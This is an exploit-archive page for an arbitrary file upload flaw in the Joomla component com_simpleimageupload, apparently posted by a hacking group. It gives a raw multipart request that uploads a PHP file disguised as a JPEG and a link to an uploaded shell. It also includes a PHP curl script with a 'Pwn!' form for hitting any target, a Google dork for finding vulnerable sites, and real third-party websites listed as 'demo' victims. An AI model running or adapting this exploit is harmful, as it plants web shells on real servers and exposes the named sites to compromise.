Home / os / win7

Joomla com_simpleimageupload Image Upload - Arbitrary File Upload

Posted on 30 November -0001

<HTML><HEAD><TITLE>Joomla com_simpleimageupload Image Upload - Arbitrary File Upload</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: Joomla Image Upload - Arbitrary File Upload
# We Are Iranian Anonymous Iranonymous.org
# Discovered By: Hacker Khan
# Google Dork: inurl:option=
# Vendor Homepage: http://tuts4you.de/
# Software Link: http://tuts4you.de/96-development/156-simpleimageupload
# Version: 1.0
# Tested on:Win32
# Vuln Same to Com_Media Vulnerability

##########################

POST /index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=desc
###########################

tamper data


Host:127.0.0.1

User-Agent=Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0

Accept=text/html/php,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language=en-US,en;q=0.5

Accept-Encoding=gzip, deflate

Cookie=92e1ffe3bb23e8a366ff65194917235e=15168f4d2be2ab52b9730a55b4674ae5

Connection=keep-alive

Content-Type=multipart/form-data; boundary=---------------------------281102171512373

Content-Length=49328

POSTDATA =-----------------------------281102171512373
Content-Disposition: form-data; name="Filedata"; filename="Neme fail.php"
Content-Type: image/jpeg

-----------------------------281102171512373
Content-Disposition: form-data; name="return-url"

aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWpmb3JtX2FydGljbGV0ZXh0
-----------------------------281102171512373--

your Fail neme shell.

http://www.bonyadtabari.ir//images/pic/neme fail.php

#########################################
# Exploit :

<?php

echo '<form action="#" method="post" enctype="multipart/form-data">
<input type="text" name="target" value="www.localhost.com" /><input type="submit" name="Pwn" value="Pwn!" />
</form>';


if($_POST) {

$target = $_POST['target'];

$file = "0wn3d ! ;)";
$header = array("Content-Type: application/x-php",
"Content-Disposition: form-data; name="Filedata"; file="L0v3.php."");

$ch = curl_init("http://".$target."/index.php?option=com_simpleimageupload&task=upload.upload&tmpl=component");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36");
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$file", "return-url" => "aW5kZXgucGhwP29wdGlvbj1jb21fc2ltcGxlaW1hZ2V1cGxvYWQmdmlldz11cGxvYWQmdG1wbD1jb21wb25lbnQmZV9uYW1lPWRlc2M=",));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$result = curl_exec($ch);
curl_close($ch);
print "$result";

} else { die(); }
?>

#########################################

Demo:

http://dartmoorscenictours.co.uk/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=jform_text

http://www.khamphoempittaya.ac.th/en/?option=com_simpleimageupload&view=upload&tmpl=component&e_name=jform_content

http://www.smarterhomesolutions.net/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=jform_text

http://www.agescirimini.it/index.php?option=com_simpleimageupload&view=upload&tmpl=component&e_name=comment

########################################

[+] Thanks to : MR.Khatar |||| ll_azab-siyah_ll || Rising || <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="5f0c371f3b6f28">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> || MaMaD_Malware|| OnE_H4Ck3R || Shdmehr || B.D
[+] Happy Boy || Blackwolf_Iran || MR.zarvan || Security Soldier || InfernaL And All Of Iranian Anonymous

</BODY></HTML>

 

TOP

Malware :

Exploits :